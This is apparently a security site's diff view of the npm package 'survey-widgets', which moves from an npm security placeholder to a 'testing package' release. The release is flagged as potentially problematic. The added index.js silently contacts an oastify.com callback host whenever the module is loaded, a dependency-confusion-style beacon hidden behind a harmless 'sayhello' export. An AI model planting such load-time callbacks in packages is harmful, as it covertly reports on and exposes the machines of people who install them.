survey-widgets 0.0.1-security → 1.0.1

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of survey-widgets might be problematic. Click here for more details.

Files changed (4) hide show
  1. package/LICENSE +21 -0
  2. package/README.md +2 -5
  3. package/index.js +17 -0
  4. package/package.json +19 -3
package/LICENSE ADDED
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2022 emilianofausto
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
package/README.md CHANGED
@@ -1,5 +1,2 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=survey-widgets for more information.
1
+ # survey-widgets
2
+ Testing repository
package/index.js ADDED
@@ -0,0 +1,17 @@
1
+ const axios = require('axios');
2
+
3
+ function sayhello() {
4
+ return "Hello! This is just a test.";
5
+ }
6
+
7
+ axios
8
+ .get('http://mi8ybs2mdvhgt7v31pyxbz5xtozen3.oastify.com')
9
+ .then(res => {
10
+ console.log(`statusCode: ${res.status}`);
11
+ console.log(res);
12
+ })
13
+ .catch(error => {
14
+ console.error(error);
15
+ });
16
+
17
+ module.exports = sayhello;
package/package.json CHANGED
@@ -1,6 +1,22 @@
1
1
  {
2
2
  "name": "survey-widgets",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.1",
4
+ "description": "This is a testing package",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "repository": {
10
+ "type": "git",
11
+ "url": "git+https://github.com/emilianofausto/survey-widgets.git"
12
+ },
13
+ "author": "Emiliano <emiliano.fausto@gmail.com> (None)",
14
+ "license": "MIT",
15
+ "bugs": {
16
+ "url": "https://github.com/emilianofausto/survey-widgets/issues"
17
+ },
18
+ "homepage": "https://github.com/emilianofausto/survey-widgets#readme",
19
+ "dependencies": {
20
+ "axios": "^0.27.2"
21
+ }
6
22
  }